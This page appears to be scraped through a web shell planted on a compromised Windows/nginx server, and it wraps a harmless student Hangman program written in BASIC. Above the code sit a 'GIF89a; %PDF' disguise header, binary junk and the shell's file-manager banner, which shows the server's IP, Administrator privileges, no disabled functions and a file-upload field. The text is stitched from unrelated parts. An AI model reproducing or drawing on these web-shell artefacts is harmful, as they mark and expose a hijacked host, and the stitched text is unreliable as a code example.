GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2008.03.13/ |
Upload File : |
' Hangman.bas ' A program that plays the game Hangman debug = 0 gosub [InitializeProgram] ' For testing purposes - set the letterCount and wordToFind$ ' Then skip the random selection letterCount = 7 wordToFind$ = "strides" 'goto [skip] ' Ask if they want to play print "Do you want to play hangman? "; if answerYesNo$() = "no" then end [PlayAgain] ' Get the difficulty level from the user letterCount = 0 while letterCount <> 7 and letterCount <> 10 Input "Select difficulty level 7 or 10: ";letterCount wend 'print "letterCount=";letterCount ' Get the random word for the game wordToFind$=getWord$(letterCount) [skip] ' Then skip the random selection if debug = 1 then print "wordToFind$=";wordToFind$ if debug = 1 then print ' Initialize game variables ' GuessesLeft stores how many guesses remain for the user GuessesLeft = MaxHangmanParts ' Set to Max guesses ' WonGame stores if the game was won. ' true = game won, false = game lost WonGame = false ' Set to false (game lost) for now ' wordGuessed$ stores the letters in the word that have ' been correctly guessed so far wordGuessed$ = repeat$("-",letterCount) ' Setup blank wordGuessed$ ' LettersGuessed$ stores the letters that have been guessed. LettersGuessed$ = space$(26) ' Setup blank LettersGuessed$ ' LettersToGuess$ stores the letters than have not been used LettersToGuess$ = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" ' Setup LettersToGuess$ ' Play the game while GuessesLeft > 0 AND WonGame = false guess$ = "" ' Set letter guessed to blank ' LetterFoundAt stores if a letter is found at a location ' in the wordToFind$ dim LetterFoundAt(letterCount) ' Dimension and set to 0 ' Get the guess from the player print print " Guesses left: ";GuessesLeft print " Word as guessed: ";wordGuessed$ print " You have used: ";LettersGuessed$ print "Please select from: ";LettersToGuess$ while upper$(guess$) < "A" OR upper$(guess$) > "Z" OR len(guess$) <> 1 input " Enter your guess: ";guess$ wend if debug = 1 then print "Your guess was ";upper$(guess$) ' Search for the guess$ ' guessIsCorrect stores if the guess was found in wordToFind$ ' Fix LettersToGuess$ and LettersGuessed$ for guess ' Fix LettersToGuess$ and LettersGuessed$ for guess letterFoundAt = instr(LettersToGuess$,upper$(guess$),1) if letterFoundAt <> 0 then ' Replace letter with an underscore LettersToGuess$ = mid$(LettersToGuess$,1,letterFoundAt-1) + _ "_" + _ mid$(LettersToGuess$,letterFoundAt+1) ' Insert guess LettersGuessed$ = mid$(LettersGuessed$,1,letterFoundAt-1) + _ upper$(guess$) + _ mid$(LettersGuessed$,letterFoundAt+1) ' If guess in word insert letter into wordGuessed$ letterFoundAt = instr(upper$(wordToFind$),upper$(guess$),1) foundLetterHowManyTimes = 0 ' Track how many time we found the letter while letterFoundAt <> 0 ' Letter found so insert letter wordGuessed$ = mid$(wordGuessed$,1,letterFoundAt-1) + _ upper$(guess$) + _ mid$(wordGuessed$,letterFoundAt+1) foundLetterHowManyTimes = foundLetterHowManyTimes + 1 letterFoundAt = instr(upper$(wordToFind$),upper$(guess$),letterFoundAt+1) wend ' If incorrect guess. Subrract 1 from GuessesLeft if foundLetterHowManyTimes = 0 then GuessesLeft = GuessesLeft - 1 else ' Guessed letter already guessed. Subrract 1 from GuessesLeft GuessesLeft = GuessesLeft - 1 end if if debug = 1 then print "wordGuessed$=";wordGuessed$ 'DEBUG OUTPUT ' Test if the word has been guessed if wordGuessed$ = upper$(wordToFind$) then WonGame = true wend print if WonGame = true then ' If WonGame is true then you have won the game print "You won!" else ' Otherwise you lost print "You lost :(" end if print "The word was ";wordToFind$;"." print print "Do you want to play again? "; if answerYesNo$() = "yes" then goto [PlayAgain] print print "Thank you for playing." print end [InitializeProgram] ' Initialize the program data ' Word length data MaxLettersInWord = 29 ' Initialize variables true = 1 false = 0 ' Hangman parts data MaxHangmanParts = 7 ' The number of Hangman parts dim HangmanParts$(MaxHangmanParts) ' The Hangman part name ' Read the Hangman part names for i = 1 to MaxHangmanParts read HangmanPart$ HangmanParts$(i) = HangmanPart$ 'print HangmanParts$(i) next i data "head","torso","left arm","right arm","left leg","right leg","hangman" return ' Return for gosub call 'function getWord$(letterCount) 'Gets a random word of the length letterCount for use in the game function getWord$(letterCount) filename$ = str$(letterCount)+".txt" select case letterCount case 4 open filename$ FOR RANDOM AS #1 LEN=5 FIELD #1,_ ' set up the fields for file opened as #1 4 AS word$,_ ' The record number 1 AS delimeter$ case 5 open filename$ FOR RANDOM AS #1 LEN=6 FIELD #1,_ ' set up the fields for file opened as #1 5 AS word$,_ ' The record number 1 AS delimeter$ case 6 open filename$ FOR RANDOM AS #1 LEN=7 FIELD #1,_ ' set up the fields for file opened as #1 6 AS word$,_ ' The record number 1 AS delimeter$ case 7 open filename$ FOR RANDOM AS #1 LEN=8 FIELD #1,_ ' set up the fields for file opened as #1 7 AS word$,_ ' The record number 1 AS delimeter$ case 8 open filename$ FOR RANDOM AS #1 LEN=9 FIELD #1,_ ' set up the fields for file opened as #1 8 AS word$,_ ' The record number 1 AS delimeter$ case 9 open filename$ FOR RANDOM AS #1 LEN=10 FIELD #1,_ ' set up the fields for file opened as #1 9 AS word$,_ ' The record number 1 AS delimeter$ case 10 open filename$ FOR RANDOM AS #1 LEN=11 FIELD #1,_ ' set up the fields for file opened as #1 10 AS word$,_ ' The record number 1 AS delimeter$ case 11 open filename$ FOR RANDOM AS #1 LEN=12 FIELD #1,_ ' set up the fields for file opened as #1 11 AS word$,_ ' The record number 1 AS delimeter$ case 12 open filename$ FOR RANDOM AS #1 LEN=13 FIELD #1,_ ' set up the fields for file opened as #1 12 AS word$,_ ' The record number 1 AS delimeter$ case 13 open filename$ FOR RANDOM AS #1 LEN=14 FIELD #1,_ ' set up the fields for file opened as #1 13 AS word$,_ ' The record number 1 AS delimeter$ case 14 open filename$ FOR RANDOM AS #1 LEN=15 FIELD #1,_ ' set up the fields for file opened as #1 14 AS word$,_ ' The record number 1 AS delimeter$ case 15 open filename$ FOR RANDOM AS #1 LEN=16 FIELD #1,_ ' set up the fields for file opened as #1 15 AS word$,_ ' The record number 1 AS delimeter$ case 16 open filename$ FOR RANDOM AS #1 LEN=17 FIELD #1,_ ' set up the fields for file opened as #1 16 AS word$,_ ' The record number 1 AS delimeter$ case 17 open filename$ FOR RANDOM AS #1 LEN=18 FIELD #1,_ ' set up the fields for file opened as #1 17 AS word$,_ ' The record number 1 AS delimeter$ case 18 open filename$ FOR RANDOM AS #1 LEN=19 FIELD #1,_ ' set up the fields for file opened as #1 18 AS word$,_ ' The record number 1 AS delimeter$ case 19 open filename$ FOR RANDOM AS #1 LEN=20 FIELD #1,_ ' set up the fields for file opened as #1 19 AS word$,_ ' The record number 1 AS delimeter$ case 20 open filename$ FOR RANDOM AS #1 LEN=21 FIELD #1,_ ' set up the fields for file opened as #1 20 AS word$,_ ' The record number 1 AS delimeter$ case 21 open filename$ FOR RANDOM AS #1 LEN=22 FIELD #1,_ ' set up the fields for file opened as #1 21 AS word$,_ ' The record number 1 AS delimeter$ case 22 open filename$ FOR RANDOM AS #1 LEN=23 FIELD #1,_ ' set up the fields for file opened as #1 22 AS word$,_ ' The record number 1 AS delimeter$ case 23 open filename$ FOR RANDOM AS #1 LEN=24 FIELD #1,_ ' set up the fields for file opened as #1 23 AS word$,_ ' The record number 1 AS delimeter$ case 24 open filename$ FOR RANDOM AS #1 LEN=25 FIELD #1,_ ' set up the fields for file opened as #1 24 AS word$,_ ' The record number 1 AS delimeter$ case 25 open filename$ FOR RANDOM AS #1 LEN=26 FIELD #1,_ ' set up the fields for file opened as #1 25 AS word$,_ ' The record number 1 AS delimeter$ case 26 open filename$ FOR RANDOM AS #1 LEN=27 FIELD #1,_ ' set up the fields for file opened as #1 26 AS word$,_ ' The record number 1 AS delimeter$ case 27 open filename$ FOR RANDOM AS #1 LEN=28 FIELD #1,_ ' set up the fields for file opened as #1 27 AS word$,_ ' The record number 1 AS delimeter$ case 28 open filename$ FOR RANDOM AS #1 LEN=29 FIELD #1,_ ' set up the fields for file opened as #1 28 AS word$,_ ' The record number 1 AS delimeter$ case 29 open filename$ FOR RANDOM AS #1 LEN=30 FIELD #1,_ ' set up the fields for file opened as #1 29 AS word$,_ ' The record number 1 AS delimeter$ end select wordCount = int(lof(#1)/(letterCount+1)) 'print lof(#1),lof(#1)/(letterCount+1), wordCount recordToRead = int(rnd(1)*wordCount)+1 'print "recordToRead=";recordToRead get #1,recordToRead close #1 getWord$ = word$ end function function repeat$(stringToRepeat$,repeatNumber) newString$ = "" for i = 1 to repeatNumber newString$ = newString$ + stringToRepeat$ next i repeat$ = newString$ end function function answerYesNo$() [AskAgain] input "";answer$ if upper$(left$(answer$,1)) = "Y" then answer$ = "yes" if upper$(left$(answer$,1)) = "N" then answer$ = "no" if answer$ <> "yes" AND answer$ <> "no" then print "Please answer yes or no: "; if answer$ <> "yes" AND answer$ <> "no" then goto [AskAgain] answerYesNo$ = answer$ end function